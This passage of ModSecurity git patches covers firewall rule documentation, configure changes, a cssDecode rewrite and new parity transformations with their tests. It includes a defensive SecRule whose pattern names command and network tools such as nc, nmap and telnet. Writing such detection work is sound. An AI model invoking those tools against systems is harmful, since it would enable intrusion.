@@ -2551,8 +2573,9 @@ SecRule ARGS_COMBINED_SIZE "@gt 25" allow 2 argument names - p and a. If any other argument names are injected, it will be blocked. - SecRule REQUEST_FILENAME "/index.php" "chain,log,deny,status:403,phase:2" -SecRule ARGS_NAMES "!^(p|a)$" + SecRule REQUEST_FILENAME "/index.php" \ + "chain,log,deny,status:403,phase:2,t:none,t:lowercase,t:normalisePath" +SecRule ARGS_NAMES "!^(p|a)$" "t:none,t:lowercase"
@@ -2605,9 +2628,9 @@ SecRule ARGS_NAMES "!^(p|a)$"
<literal moreinfo="none">ENV</literal> - Collection, requires a single parameter (after a colon character). - The ENV variable is set with setenv and does not give access to the CGI - environment variables. Example: + Collection, requires a single parameter (after colon). The + ENV variable is set with setenv and does not give + access to the CGI environment variables. Example: SecRule REQUEST_FILENAME "printenv" pass,setenv:tag=suspicious SecRule ENV:tag "suspicious" @@ -2988,10 +3011,17 @@ SecRule XML "@validateDTD /opt/apache-frontend/conf/xml.dtd" <literal moreinfo="none">REQUEST_BASENAME</literal> This variable holds just the filename part of - REQUEST_FILENAME (e.g. index.php). Warning: not URL - decoded. Example: + REQUEST_FILENAME (e.g. index.php). - SecRule REQUEST_BASENAME "^login\.php$" + Example: + + SecRule REQUEST_BASENAME "^login\.php$" phase:2,t:none,t:lowercase + + + Please note that anti-evasion transformations are not applied to + this variable by default. REQUEST_BASENAME will + recognise both / and \ as path separators. +
@@ -3007,7 +3037,7 @@ SecRule XML "@validateDTD /opt/apache-frontend/conf/xml.dtd" Note This variable is only available if the content type is - application/x-www-form-urlencoded. + application/x-www-form-urlencoded.
@@ -3034,25 +3064,32 @@ SecRule XML "@validateDTD /opt/apache-frontend/conf/xml.dtd"
<literal moreinfo="none">REQUEST_FILENAME</literal> - This variable holds the relative REQUEST_URI minus the - QUERY_STRING part (e.g. /index.php). Example: + This variable holds the relative REQUEST_URI + minus the QUERY_STRING part (e.g. /index.php). + Example: - SecRule REQUEST_FILENAME "^/cgi-bin/login\.php$" + SecRule REQUEST_FILENAME "^/cgi-bin/login\.php$" phase:2,t:none,t:normalisePath + + + Please note that anti-evasion transformations are not used on + REQUEST_FILENAME by default. +
<literal moreinfo="none">REQUEST_HEADERS</literal> This variable can be used as either a collection of all of the - Request Headers or can be used to specify individual headers (by using + request headers or can be used to specify individual headers (by using REQUEST_HEADERS:Header-Name). Example: the first - example uses REQUEST_HEADERS as a collection and is applying the - validateUrlEncoding operator against all headers. + example uses REQUEST_HEADERS as a collection and is + applying the validateUrlEncoding operator against all + headers. SecRule REQUEST_HEADERS "@validateUrlEncoding" - Example: the second example is targeting only the Host - header. + Example: the second example is targeting only the + Host header. SecRule REQUEST_HEADERS:Host "^[\d\.]+$" \ "deny,log,status:400,msg:'Host header is a numeric IP address'" @@ -3061,8 +3098,8 @@ SecRule XML "@validateDTD /opt/apache-frontend/conf/xml.dtd"
<literal moreinfo="none">REQUEST_HEADERS_NAMES</literal> - This variable is a collection of the names of all of the Request - Headers. Example: + This variable is a collection of the names of all of the request + headers. Example: SecRule REQUEST_HEADERS_NAMES "^x-forwarded-for" \ "log,deny,status:403,t:lowercase,msg:'Proxy Server Used'" @@ -3083,9 +3120,10 @@ SecRule XML "@validateDTD /opt/apache-frontend/conf/xml.dtd"
<literal moreinfo="none">REQUEST_METHOD</literal> - This variable holds the Request Method used by the client. - Example: the following example will trigger if the Request Method is - either CONNECT or TRACE. + This variable holds the request method used by the client. + + The following example will trigger if the request method is either + CONNECT or TRACE. SecRule REQUEST_METHOD "^((?:connect|trace))$" t:none,t:lowercase
@@ -3093,7 +3131,7 @@ SecRule XML "@validateDTD /opt/apache-frontend/conf/xml.dtd"
<literal moreinfo="none">REQUEST_PROTOCOL</literal> - This variable holds the Request Protocol Version information. + This variable holds the request protocol version information. Example: SecRule REQUEST_PROTOCOL "!^http/(0\.9|1\.0|1\.1)$" t:none,t:lowercase @@ -3102,31 +3140,45 @@ SecRule XML "@validateDTD /opt/apache-frontend/conf/xml.dtd"
<literal moreinfo="none">REQUEST_URI</literal> - This variable holds the full URL including the QUERY_STRING data - (e.g. /index.php?p=X), however it will never contain a domain name, even - if it was provided on the request line. Warning: not URL decoded. It - also does not include either the REQUEST_METHOD or the HTTP version - info. Example: + This variable holds the full URL including the + QUERY_STRING data (e.g. /index.php?p=X), however it + will never contain a domain name, even if it was provided on the request + line. It also does not include either the + REQUEST_METHOD or the HTTP version info. - SecRule REQUEST_URI "attack" + Example: + + SecRule REQUEST_URI "attack" phase:1,t:none,t:urlDecode,t:lowercase,t:normalisePath + + + Please note that anti-evasion transformations are not used on + REQUEST_URI by default. +
<literal moreinfo="none">REQUEST_URI_RAW</literal> - Same as REQUEST_URI but will contain the domain name if it was - provided on the request line (e.g. - http://www.example.com/index.php?p=X). Warning: not URL decoded. - Example: + Same as REQUEST_URI but will contain the domain + name if it was provided on the request line (e.g. + http://www.example.com/index.php?p=X). - SecRule REQUEST_URI_RAW "http:/" + Example: + + SecRule REQUEST_URI_RAW "http:/" phase:1,t:none,t:urlDecode,t:lowercase,t:normalisePath + + + Please note that anti-evasion transformations are not used on + REQUEST_URI_RAW by default. +
<literal moreinfo="none">RESPONSE_BODY</literal> - This variable holds the data for the response payload. - Example: + This variable holds the data for the response payload. + + Example: SecRule RESPONSE_BODY "ODBC Error Code"
@@ -3361,7 +3413,8 @@ SecRule XML "@validateDTD /opt/apache-frontend/conf/xml.dtd" SecRule REQUEST_COOKIES:PHPSESSID !^$ chain,nolog,pass SecAction setsid:%{REQUEST_COOKIES.PHPSESSID} -SecRule REQUEST_URI "^/cgi-bin/finger$" "pass,log,setvar:session.score=+10" +SecRule REQUEST_URI "^/cgi-bin/finger$" \ + "phase:2,t:none,t:lowercase,t:normalisePath,pass,log,setvar:session.score=+10" SecRule SESSION:SCORE "@gt 50" "pass,log,setvar:session.blocked=1" SecRule SESSION:BLOCKED "@eq 1" "log,deny,status:403"
@@ -4113,9 +4166,11 @@ SecRule TX:1 "(?:(?:a(dmin|nonymous)))" Example: # Refuse to accept POST requests that do -# not specify request body length -SecRule REQUEST_METHOD ^POST$ chain -SecRule REQUEST_HEADER:Content-Length ^$ +# not specify request body length. Do note that +# this rule should be preceeded by a rule that verifies +# only valid request methods (e.g. GET, HEAD and POST) are used. +SecRule REQUEST_METHOD ^POST$ chain,t:none +SecRule REQUEST_HEADER:Content-Length ^$ t:none Note @@ -4294,7 +4349,7 @@ SecRule IP:AUTH_ATTEMPT "@gt 25" \ # The following is going to execute /usr/local/apache/bin/test.sh # as a shell script on rule match. SecRule REQUEST_URI "^/cgi-bin/script\.pl" \ - "log,exec:/usr/local/apache/bin/test.sh" + "phase:2,t:none,t:lowercase,t:normalisePath,log,exec:/usr/local/apache/bin/test.sh" # The following is going to process /usr/local/apache/conf/exec.lua # internally as a Lua script on rule match. @@ -4328,7 +4383,8 @@ SecRule ARGS:p attack log,exec:/usr/local/apache/conf/exec.luaSecRule REQUEST_COOKIES:JSESSIONID "!^$" nolog,phase:1,pass,chain SecAction setsid:%{REQUEST_COOKIES:JSESSIONID} SecRule REQUEST_URI "^/cgi-bin/script\.pl" \ - "log,allow,setvar:session.suspicious=1,expirevar:session.suspicious=3600,phase:1" + "phase:2,t:none,t:lowercase,t:normalisePath,log,allow,\ +setvar:session.suspicious=1,expirevar:session.suspicious=3600,phase:1" Note @@ -4946,7 +5002,8 @@ SecAction setsid:%{REQUEST_COOKIES.PHPSESSID}Example: - SecRule REQUEST_URI "^/$" "chain,skip:2" + SecRule REQUEST_URI "^/$" \ +"phase:2,chain,t:none,skip:2" SecRule REMOTE_ADDR "^127\.0\.0\.1$" "chain" SecRule REQUEST_HEADERS:User-Agent "^Apache \(internal dummy connection\)$" "t:none" SecRule &REQUEST_HEADERS:Host "@eq 0" \ @@ -4975,7 +5032,7 @@ SecRule &REQUEST_HEADERS:Accept "@eq 0" \ Example: - SecRule REQUEST_URI "^/$" "chain,skipAfter:960015" + SecRule REQUEST_URI "^/$" "chain,t:none,skipAfter:960015" SecRule REMOTE_ADDR "^127\.0\.0\.1$" "chain" SecRule REQUEST_HEADERS:User-Agent "^Apache \(internal dummy connection\)$" "t:none" SecRule &REQUEST_HEADERS:Host "@eq 0" \ @@ -5050,7 +5107,8 @@ SecRule REQUEST_COOKIES:SESSIONID "47414e81cbbef3cf8366e84eeacba091" \ Example: SecRule REQUEST_FILENAME "\b(?:n(?:map|et|c)|w(?:guest|sh)|cmd(?:32)?|telnet|rcmd|ftp)\.exe\b" \ - "deny,msg:'System Command Access',id:'950002',tag:'WEB_ATTACK/FILE_INJECTION',tag:'OWASP/A2',severity:'2'" + "t:none,t:lowercase,deny,msg:'System Command Access',id:'950002',\ +tag:'WEB_ATTACK/FILE_INJECTION',tag:'OWASP/A2',severity:'2'" Note @@ -6123,4 +6181,4 @@ Server: Apache/2.x.x
- \ No newline at end of file + From 5f648db8981d64866ed9e3ab35340f5b3fd862cb Mon Sep 17 00:00:00 2001 From: brectanus Date: Fri, 8 Aug 2008 22:50:47 +0000 Subject: [PATCH 069/110] Updated regression suite to use full path to LoadModule. --- apache2/configure | 8 ++++++-- apache2/configure.in | 2 ++ apache2/t/regression/server_root/conf/httpd.conf.in | 8 ++++---- apache2/t/run-regression-tests.pl.in | 3 +++ 4 files changed, 15 insertions(+), 6 deletions(-) diff --git a/apache2/configure b/apache2/configure index eb397c48..b968cea6 100755 --- a/apache2/configure +++ b/apache2/configure @@ -696,6 +696,7 @@ APXS_LIBDIR APXS_BINDIR APXS_SBINDIR APXS_PROGNAME +APXS_LIBEXECDIR APXS_HTTPD PCRE_LIBS PCRE_CFLAGS @@ -5107,6 +5108,7 @@ rm -f conftest* APXS_BINDIR="`$APXS -q BINDIR`" APXS_SBINDIR="`$APXS -q SBINDIR`" APXS_PROGNAME="`$APXS -q PROGNAME`" + APXS_LIBEXECDIR="`$APXS -q LIBEXECDIR`" if test "$APXS_SBINDIR" = "/"; then APXS_HTTPD="$APXS_SBINDIR/$APXS_PROGNAME" else @@ -5354,6 +5356,7 @@ LDFLAGS="$APXS_LDFLAGS $LDFLAGS" + # Check whether --with-pcre was given. @@ -6520,6 +6523,7 @@ APXS_LIBDIR!$APXS_LIBDIR$ac_delim APXS_BINDIR!$APXS_BINDIR$ac_delim APXS_SBINDIR!$APXS_SBINDIR$ac_delim APXS_PROGNAME!$APXS_PROGNAME$ac_delim +APXS_LIBEXECDIR!$APXS_LIBEXECDIR$ac_delim APXS_HTTPD!$APXS_HTTPD$ac_delim PCRE_LIBS!$PCRE_LIBS$ac_delim PCRE_CFLAGS!$PCRE_CFLAGS$ac_delim @@ -6533,7 +6537,6 @@ APU_LDFLAGS!$APU_LDFLAGS$ac_delim APU_LINK_LD!$APU_LINK_LD$ac_delim LIBXML_LIBS!$LIBXML_LIBS$ac_delim LIBXML_CFLAGS!$LIBXML_CFLAGS$ac_delim -LUA_LIBS!$LUA_LIBS$ac_delim _ACEOF if test `sed -n "s/.*$ac_delim\$/X/p" conf$$subs.sed | grep -c X` = 97; then @@ -6575,13 +6578,14 @@ _ACEOF ac_delim='%!_!# ' for ac_last_try in false false false false false :; do cat >conf$$subs.sed <<_ACEOF +LUA_LIBS!$LUA_LIBS$ac_delim LUA_CFLAGS!$LUA_CFLAGS$ac_delim CURL_LIBS!$CURL_LIBS$ac_delim CURL_CFLAGS!$CURL_CFLAGS$ac_delim LTLIBOBJS!$LTLIBOBJS$ac_delim _ACEOF - if test `sed -n "s/.*$ac_delim\$/X/p" conf$$subs.sed | grep -c X` = 4; then + if test `sed -n "s/.*$ac_delim\$/X/p" conf$$subs.sed | grep -c X` = 5; then break elif $ac_last_try; then { { echo "$as_me:$LINENO: error: could not make $CONFIG_STATUS" >&5 diff --git a/apache2/configure.in b/apache2/configure.in index 2825c8b4..353e0da9 100644 --- a/apache2/configure.in +++ b/apache2/configure.in @@ -129,6 +129,7 @@ VERSION_OK APXS_BINDIR="`$APXS -q BINDIR`" APXS_SBINDIR="`$APXS -q SBINDIR`" APXS_PROGNAME="`$APXS -q PROGNAME`" + APXS_LIBEXECDIR="`$APXS -q LIBEXECDIR`" if test "$APXS_SBINDIR" = "/"; then APXS_HTTPD="$APXS_SBINDIR/$APXS_PROGNAME" else @@ -313,6 +314,7 @@ AC_SUBST(APXS_LIBDIR) AC_SUBST(APXS_BINDIR) AC_SUBST(APXS_SBINDIR) AC_SUBST(APXS_PROGNAME) +AC_SUBST(APXS_LIBEXECDIR) AC_SUBST(APXS_HTTPD) CHECK_PCRE() diff --git a/apache2/t/regression/server_root/conf/httpd.conf.in b/apache2/t/regression/server_root/conf/httpd.conf.in index 6e6109b7..c24399ea 100644 --- a/apache2/t/regression/server_root/conf/httpd.conf.in +++ b/apache2/t/regression/server_root/conf/httpd.conf.in @@ -7,18 +7,18 @@ - LoadModule proxy_module modules/mod_proxy.so - LoadModule proxy_http_module modules/mod_proxy_http.so + LoadModule proxy_module @APXS_LIBEXECDIR@/mod_proxy.so + LoadModule proxy_http_module @APXS_LIBEXECDIR@/mod_proxy_http.so - LoadModule unique_id_module modules/mod_unique_id.so + LoadModule unique_id_module @APXS_LIBEXECDIR@/mod_unique_id.so # TODO: Need to have these configurable LoadFile /usr/lib/libxml2.so LoadFile /usr/lib/liblua5.1.so - LoadModule security2_module modules/mod_security2.so + LoadModule security2_module @APXS_LIBEXECDIR@/mod_security2.so ServerName localhost diff --git a/apache2/t/run-regression-tests.pl.in b/apache2/t/run-regression-tests.pl.in index 69243227..f41d2b62 100755 --- a/apache2/t/run-regression-tests.pl.in +++ b/apache2/t/run-regression-tests.pl.in @@ -30,6 +30,7 @@ my $DATA_DIR = "$SROOT_DIR/data"; my $TEMP_DIR = "$SROOT_DIR/tmp"; my $UPLOAD_DIR = "$SROOT_DIR/upload"; my $CONF_DIR = "$SROOT_DIR/conf"; +my $MODULES_DIR = q(@APXS_LIBEXECDIR@); my $FILES_DIR = "$SROOT_DIR/logs"; my $PID_FILE = "$FILES_DIR/httpd.pid"; my $HTTPD = q(@APXS_HTTPD@); @@ -45,6 +46,7 @@ $UA->agent($UA_NAME); # Hack for testing the script w/o configure if ($HTTPD eq "\@APXS_HTTPD\@") { $HTTPD = "/usr/local/apache2/bin/httpd"; + $MODULES_DIR = "/usr/local/apache2/modules"; } $SIG{TERM} = $SIG{INT} = \&handle_interrupt; @@ -117,6 +119,7 @@ unless (defined $opt{S}) { TEMP_DIR => $TEMP_DIR, UPLOAD_DIR => $UPLOAD_DIR, CONF_DIR => $CONF_DIR, + MODULES_DIR => $MODULES_DIR, LOGS_DIR => $FILES_DIR, SCRIPT_DIR => $SCRIPT_DIR, REGRESSION_DIR => $REG_DIR, From bb2e4b9a3e13b24e6361c7bf75d8ab0082bd730b Mon Sep 17 00:00:00 2001 From: brectanus Date: Thu, 14 Aug 2008 23:37:40 +0000 Subject: [PATCH 070/110] Fix cssDecode. See #512. --- apache2/msc_util.c | 102 +++++++++++++++++++++++++++++++------- apache2/t/tfn/cssDecode.t | 58 ++++++++++++++++++++++ 2 files changed, 141 insertions(+), 19 deletions(-) create mode 100644 apache2/t/tfn/cssDecode.t diff --git a/apache2/msc_util.c b/apache2/msc_util.c index 414d48eb..3bb754a3 100644 --- a/apache2/msc_util.c +++ b/apache2/msc_util.c @@ -1226,38 +1226,102 @@ int css_decode_inplace(unsigned char *input, long int input_len) { i = count = 0; while (i < input_len) { if (input[i] == '\\') { - if (i + 1 < input_len) { /* Is there at least one more byte? */ - /* We are not going to need the backslash. */ - i++; + /* Is there at least one more byte? */ + if (i + 1 < input_len) { + i++; /* We are not going to need the backslash. */ - /* Find out how many hexadecimal characters there are. */ + /* Check for 1-6 hex characters following the backslash */ j = 0; - while ((j < 6)&&(i + j < input_len)&&(VALID_HEX(input[i + j]))) { + while ((j < 6) && (i + j < input_len) && + (VALID_HEX(input[i + j]))) + { j++; } - - /* Do we have at least one hexadecimal character? */ if (j > 0) { - if (j == 1) { /* One character. */ - *d++ = xsingle2c(&input[i]); - } else { /* Two or more characters/ */ - /* For now just use the last two bytes. */ - // TODO What do we do if the other bytes are not zeros? - *d++ = x2c(&input[i + j - 2]); + int fullcheck = 0; + + /* For now just use the last two bytes. */ + // TODO What do we do if the other bytes are not zeros? + switch (j) { + /* Number of hex characters */ + case 1: + *d++ = xsingle2c(&input[i]); + break; + case 2: + case 3: + *d++ = x2c(&input[i + j - 2]); + break; + case 4: + *d = x2c(&input[i + 2]); + fullcheck = 1; + break; + case 5: + *d = x2c(&input[i + 3]); + + /* Do full check if first byte is 0 */ + if (input[i] == '0') { + fullcheck = 1; + } + else { + d++; + } + break; + case 6: + *d = x2c(&input[i + 4]); + + /* Do full check if first/second bytes are 0 */ + if ((input[i] == '0') && + (input[i + 1] == '0')) + { + fullcheck = 1; + } + else { + d++; + } + break; + } + + /* Full width ASCII (ff01 - ff5e) needs 0x20 added */ + if (fullcheck) { + if ( (*d > 0x00) && (*d < 0x5f) + && ((input[i + j - 3] == 'f') || + (input[i + j - 3] == 'F')) + && ((input[i + j - 4] == 'f') || + (input[i + j - 4] == 'F'))) + { + (*d) += 0x20; + } + + d++; + } + + /* We must ignore a single whitespace after a hex escape */ + if ((i + j < input_len) && isspace(input[i + j])) { + j++; } /* Move over. */ count++; i += j; - } else { - /* Invalid encoding, but we can't really do anything about it. */ } - } else { - // TODO What do we do with the trailing backslash? + + /* "\" must be removed */ + else if (input[i] == '\n') { + i++; + } + + /* Otherwise we just escape the next character */ + else { + *d++ = input[i++]; + count++; + } + } + + /* We have a trailing escape */ + else { + i++; /* Do not include it (continuation to nothing) */ } } else { - // TODO Not sure if we should remove the new line character here - // (see the specification for more information). *d++ = input[i++]; count++; } diff --git a/apache2/t/tfn/cssDecode.t b/apache2/t/tfn/cssDecode.t new file mode 100644 index 00000000..180186bd --- /dev/null +++ b/apache2/t/tfn/cssDecode.t @@ -0,0 +1,58 @@ +### Empty +{ + type => "tfn", + name => "cssDecode", + input => "", + output => "", + ret => 0, +}, + +### Nothing +{ + type => "tfn", + name => "cssDecode", + input => "TestCase", + output => "TestCase", + ret => 0, +}, +{ + type => "tfn", + name => "cssDecode", + input => "Test\0Case", + output => "Test\0Case", + ret => 0, +}, + +### Valid Sequences +{ + type => "tfn", + name => "cssDecode", + input => "test\\a\\b\\f\\n\\r\\t\\v\\?\\'\\\"\\0\\12\\123\\1234\\12345\\123456\\ff01\\ff5e\\\n\\0 string", + output => qq(test\x0a\x0b\x0fnrtv?'"\x00\x12\x23\x34\x45\x56\x21\x7e\x00 string), + ret => 1, +}, + +### Invalid Sequences +# Trailing escape == line continuation with no line following (ie nothing) +{ + type => "tfn", + name => "cssDecode", + input => "test\\", + output => "test", + ret => 1, +}, + +# Edge cases +# "\1A" == "\x1A" +# "\1 A" == "\x01A" +# "\1234567" == "\x567" +# "\123456 7" == "\x567" +# "\1x" == "\x01x" +# "\1 x" == "\x01 x" +{ + type => "tfn", + name => "cssDecode", + input => "\\1A\\1 A\\1234567\\123456 7\\1x\\1 x", + output => "\x1A\x01A\x567\x567\x01x\x01x", + ret => 1, +}, From 94370b2c764af19608be5af04f686d446b3f8add Mon Sep 17 00:00:00 2001 From: brectanus Date: Thu, 14 Aug 2008 23:43:18 +0000 Subject: [PATCH 071/110] Update default action in unit test stub. --- apache2/msc_test.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/apache2/msc_test.c b/apache2/msc_test.c index df73d63a..3077334d 100644 --- a/apache2/msc_test.c +++ b/apache2/msc_test.c @@ -33,6 +33,8 @@ #define RESULT_WRONGSIZE -3 #define RESULT_WRONGRET -4 +#define DEFAULT_ACTION "phase:2,log,auditlog,pass" + #define CMDLINE_OPTS "t:n:p:P:r:I:D:Nh" /* Types */ @@ -268,7 +270,7 @@ static int init_op(op_data_t *data, const char *name, const char *param, unsigne *errmsg = apr_psprintf(g_mp, "Failed to create ruleset for op \"%s\".", name); return -1; } - data->rule = msre_rule_create(data->ruleset, RULE_TYPE_NORMAL, conf_fn, 1, "UNIT_TEST", args, "t:none,pass,nolog", errmsg); + data->rule = msre_rule_create(data->ruleset, RULE_TYPE_NORMAL, conf_fn, 1, "UNIT_TEST", args, DEFAULT_ACTION, errmsg); if (data->rule == NULL) { *errmsg = apr_psprintf(g_mp, "Failed to create rule for op \"%s\": %s", name, *errmsg); return -1; From 458fe8423c2e3bf1d234ceab3b5e64853396b342 Mon Sep 17 00:00:00 2001 From: brectanus Date: Thu, 14 Aug 2008 23:49:39 +0000 Subject: [PATCH 072/110] Add parity transformations. See #516. --- apache2/re_tfns.c | 113 +++++++++++++++++++++++++++++++++ apache2/t/tfn/parityEven7bit.t | 34 ++++++++++ apache2/t/tfn/parityOdd7bit.t | 34 ++++++++++ apache2/t/tfn/parityZero7bit.t | 33 ++++++++++ 4 files changed, 214 insertions(+) create mode 100644 apache2/t/tfn/parityEven7bit.t create mode 100644 apache2/t/tfn/parityOdd7bit.t create mode 100644 apache2/t/tfn/parityZero7bit.t diff --git a/apache2/re_tfns.c b/apache2/re_tfns.c index b4a4b32b..bf3d2b6c 100644 --- a/apache2/re_tfns.c +++ b/apache2/re_tfns.c @@ -477,6 +477,101 @@ static int msre_fn_normalisePathWin_execute(apr_pool_t *mptmp, unsigned char *in return changed; } +/* parityEven7bit */ + +static int msre_fn_parityEven7bit_execute(apr_pool_t *mptmp, unsigned char *input, + long int input_len, char **rval, long int *rval_len) +{ + long int i; + int changed = 0; + + if (rval == NULL) return -1; + *rval = NULL; + + i = 0; + while(i < input_len) { + unsigned int x = input[i]; + + input[i] ^= input[i] >> 4; + input[i] &= 0xf; + + if ((0x6996 >> input[i]) & 1) { + input[i] = x | 0x80; + } + else { + input[i] = x & 0x7f; + } + + if (x != input[i]) changed = 1; + i++; + } + + *rval = (char *)input; + *rval_len = input_len; + + return changed; +} + +/* parityZero7bit */ + +static int msre_fn_parityZero7bit_execute(apr_pool_t *mptmp, unsigned char *input, + long int input_len, char **rval, long int *rval_len) +{ + long int i; + int changed = 0; + + if (rval == NULL) return -1; + *rval = NULL; + + i = 0; + while(i < input_len) { + unsigned char c = input[i]; + input[i] &= 0x7f; + if (c != input[i]) changed = 1; + i++; + } + + *rval = (char *)input; + *rval_len = input_len; + + return changed; +} + +/* parityOdd7bit */ + +static int msre_fn_parityOdd7bit_execute(apr_pool_t *mptmp, unsigned char *input, + long int input_len, char **rval, long int *rval_len) +{ + long int i; + int changed = 0; + + if (rval == NULL) return -1; + *rval = NULL; + + i = 0; + while(i < input_len) { + unsigned int x = input[i]; + + input[i] ^= input[i] >> 4; + input[i] &= 0xf; + + if ((0x6996 >> input[i]) & 1) { + input[i] = x & 0x7f; + } + else { + input[i] = x | 0x80; + } + + if (x != input[i]) changed = 1; + i++; + } + + *rval = (char *)input; + *rval_len = input_len; + + return changed; +} + /* ------------------------------------------------------------------------------ */ /** @@ -597,6 +692,24 @@ void msre_engine_register_default_tfns(msre_engine *engine) { msre_fn_normalisePathWin_execute ); + /* parityEven7bit */ + msre_engine_tfn_register(engine, + "parityEven7bit", + msre_fn_parityEven7bit_execute + ); + + /* parityZero7bit */ + msre_engine_tfn_register(engine, + "parityZero7bit", + msre_fn_parityZero7bit_execute + ); + + /* parityOdd7bit */ + msre_engine_tfn_register(engine, + "parityOdd7bit", + msre_fn_parityOdd7bit_execute + ); + /* removeWhitespace */ msre_engine_tfn_register(engine, "removeWhitespace", diff --git a/apache2/t/tfn/parityEven7bit.t b/apache2/t/tfn/parityEven7bit.t new file mode 100644 index 00000000..3d02cc42 --- /dev/null +++ b/apache2/t/tfn/parityEven7bit.t @@ -0,0 +1,34 @@ +### Empty +{ + type => "tfn", + name => "parityEven7bit", + input => "", + output => "", + ret => 0, +}, + +### Nothing +{ + type => "tfn", + name => "parityEven7bit", + input => "cefijloqrtwx03569ABDGHKMNPSUVYZ", + output => "cefijloqrtwx03569ABDGHKMNPSUVYZ", + ret => 0, +}, + +### Parity +{ + type => "tfn", + name => "parityEven7bit", + input => "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ", + output => "\xe1\xe2c\xe4ef\xe7\xe8ij\xebl\xed\xeeo\xf0qr\xf3t\xf5\xf6wx\xf9\xfa0\xb1\xb23\xb456\xb7\xb89AB\xc3D\xc5\xc6GH\xc9\xcaK\xccMN\xcfP\xd1\xd2S\xd4UV\xd7\xd8YZ", + ret => 1, +}, +{ + type => "tfn", + name => "parityEven7bit", + input => "abcdefghijklmnopqrstuvwxyz\x000123456789\x00ABCDEFGHIJKLMNOPQRSTUVWXYZ", + output => "\xe1\xe2c\xe4ef\xe7\xe8ij\xebl\xed\xeeo\xf0qr\xf3t\xf5\xf6wx\xf9\xfa\x000\xb1\xb23\xb456\xb7\xb89\x00AB\xc3D\xc5\xc6GH\xc9\xcaK\xccMN\xcfP\xd1\xd2S\xd4UV\xd7\xd8YZ", + ret => 1, +}, + diff --git a/apache2/t/tfn/parityOdd7bit.t b/apache2/t/tfn/parityOdd7bit.t new file mode 100644 index 00000000..61a7eacd --- /dev/null +++ b/apache2/t/tfn/parityOdd7bit.t @@ -0,0 +1,34 @@ +### Empty +{ + type => "tfn", + name => "parityOdd7bit", + input => "", + output => "", + ret => 0, +}, + +### Nothing +{ + type => "tfn", + name => "parityOdd7bit", + input => "abdghkmnpsuvyz12478CEFIJLOQRTW", + output => "abdghkmnpsuvyz12478CEFIJLOQRTW", + ret => 0, +}, + +### Parity +{ + type => "tfn", + name => "parityOdd7bit", + input => "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ", + output => "ab\xe3d\xe5\xe6gh\xe9\xeak\xecmn\xefp\xf1\xf2s\xf4uv\xf7\xf8yz\xb012\xb34\xb5\xb678\xb9\xc1\xc2C\xc4EF\xc7\xc8IJ\xcbL\xcd\xceO\xd0QR\xd3T\xd5\xd6WX\xd9\xda", + ret => 1, +}, +{ + type => "tfn", + name => "parityOdd7bit", + input => "abcdefghijklmnopqrstuvwxyz\x000123456789\x00ABCDEFGHIJKLMNOPQRSTUVWXYZ", + output => "ab\xe3d\xe5\xe6gh\xe9\xeak\xecmn\xefp\xf1\xf2s\xf4uv\xf7\xf8yz\x80\xb012\xb34\xb5\xb678\xb9\x80\xc1\xc2C\xc4EF\xc7\xc8IJ\xcbL\xcd\xceO\xd0QR\xd3T\xd5\xd6WX\xd9\xda", + ret => 1, +}, + diff --git a/apache2/t/tfn/parityZero7bit.t b/apache2/t/tfn/parityZero7bit.t new file mode 100644 index 00000000..41862b56 --- /dev/null +++ b/apache2/t/tfn/parityZero7bit.t @@ -0,0 +1,33 @@ +### Empty +{ + type => "tfn", + name => "parityZero7bit", + input => "", + output => "", + ret => 0, +}, + +### Nothing +{ + type => "tfn", + name => "parityZero7bit", + input => "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ", + output => "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ", + ret => 0, +}, +{ + type => "tfn", + name => "parityZero7bit", + input => "abcdefghijklmnopqrstuvwxyz\x000123456789\x00ABCDEFGHIJKLMNOPQRSTUVWXYZ", + output => "abcdefghijklmnopqrstuvwxyz\x000123456789\x00ABCDEFGHIJKLMNOPQRSTUVWXYZ", + ret => 0, +}, + +### Basic +{ + type => "tfn", + name => "parityZero7bit", + input => "\x80\x00\x8f\xff", + output => "\x00\x00\x0f\x7f", + ret => 1, +}, From 5298e2954023968602ad8275a0ca0f3bec658c12 Mon Sep 17 00:00:00 2001 From: brectanus Date: Fri, 15 Aug 2008 19:58:02 +0000 Subject: [PATCH 073/110] Added XML warn/error output to debug log. See #519. --- apache2/apache2.h | 4 + apache2/apache2_util.c | 39 +- apache2/re_operators.c | 12 + apache2/t/regression/rule/10-xml.t | 361 ++++++++++++++++++ .../server_root/conf/SoapEnvelope-bad.dtd | 8 + .../server_root/conf/SoapEnvelope-bad.xsd | 126 ++++++ .../server_root/conf/SoapEnvelope.dtd | 8 + .../server_root/conf/SoapEnvelope.xsd | 126 ++++++ 8 files changed, 682 insertions(+), 2 deletions(-) create mode 100644 apache2/t/regression/rule/10-xml.t create mode 100644 apache2/t/regression/server_root/conf/SoapEnvelope-bad.dtd create mode 100644 apache2/t/regression/server_root/conf/SoapEnvelope-bad.xsd create mode 100644 apache2/t/regression/server_root/conf/SoapEnvelope.dtd create mode 100644 apache2/t/regression/server_root/conf/SoapEnvelope.xsd diff --git a/apache2/apache2.h b/apache2/apache2.h index f82438e8..41efb200 100644 --- a/apache2/apache2.h +++ b/apache2/apache2.h @@ -92,6 +92,10 @@ void DSOLOCAL internal_log(request_rec *r, directory_config *dcfg, modsec_rec *m void DSOLOCAL msr_log(modsec_rec *msr, int level, const char *text, ...) PRINTF_ATTRIBUTE(3,4); +void DSOLOCAL msr_log_error(modsec_rec *msr, const char *text, ...) PRINTF_ATTRIBUTE(2,3); + +void DSOLOCAL msr_log_warn(modsec_rec *msr, const char *text, ...) PRINTF_ATTRIBUTE(2,3); + char DSOLOCAL *format_error_log_message(apr_pool_t *mp, error_message *em); const DSOLOCAL char *get_response_protocol(request_rec *r); diff --git a/apache2/apache2_util.c b/apache2/apache2_util.c index 19c7de84..bc3a5e89 100644 --- a/apache2/apache2_util.c +++ b/apache2/apache2_util.c @@ -245,6 +245,7 @@ void internal_log(request_rec *r, directory_config *dcfg, modsec_rec *msr, apr_size_t nbytes, nbytes_written; apr_file_t *debuglog_fd = NULL; int filter_debug_level = 0; + int str2len; char str1[1024] = ""; char str2[1256] = ""; @@ -262,13 +263,20 @@ void internal_log(request_rec *r, directory_config *dcfg, modsec_rec *msr, */ if ((level 